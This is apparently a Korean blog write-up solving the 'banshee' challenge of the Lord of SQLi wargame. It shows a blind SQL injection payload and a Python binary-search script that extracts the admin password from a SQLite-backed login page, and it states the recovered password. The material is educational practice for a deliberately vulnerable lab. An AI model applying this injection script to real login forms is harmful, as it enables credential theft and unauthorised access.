banshee
banshee 문제를 풀기 위해서는 2가지 조건을 만족해야 한다.
첫 번째로는 $result['id'] 결과가 존재해야 하고
두 번째로는 $result['pw'] === $_GET['pw'] 결과가 참이어야 한다. ( admin 실제 패스워드를 알아야 한다. )
홑따옴표(’) 문자를 필터링하지 않고 있기 때문에 아래와 같이 Blind SQLi 쿼리 작성이 가능했다.
( admin 계정의 패스워드 길이는 8로 확인되었다. )
(페이로드) ?pw=%27%20OR%20id=%27admin%27%20AND%20LENGTH(pw)=8%20AND%20%271%27=%271

이후 아래 자동화 스크립트를 사용하여 “admin” 계정의 실제 패스워드 값을 추출하였다.
SQLITE3에서는 ASCII 함수가 없기 때문에 그대신 UNICODE 함수를 사용했다.
( 문자에 해당하는 10진수 ASCII 코드 값을 반환한다. )
import requests
import time
t_url = 'https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
password = ''
numValue = ''
for i in range(1, 9):
low = 1
high = 150
while low <= high:
mid = (low + high) // 2
print(low, mid, high)
payload = ( f"?pw=%27%20OR%20id=%27admin%27%20AND%20UNICODE(SUBSTR(pw,{i},1))>{mid}%20AND%20%271%27=%271" )
r = requests.get(t_url + payload, cookies=cookie)
if "login success!" in r.text:
low = mid + 1
else:
high = mid - 1
if low > high:
password = password + chr(high + 1)
numValue = numValue + str(high + 1) + ' '
print(f"Extracted admins password : \n\t[+] {numValue}\n\t[+] {password}")
break추출한 패스워드는 0313091b로, pw 파라미터에 값을 입력하여 넘기면 BANSHEEE 문제도 클리어 성공이다.

🐛.. 🐛.. 🐛..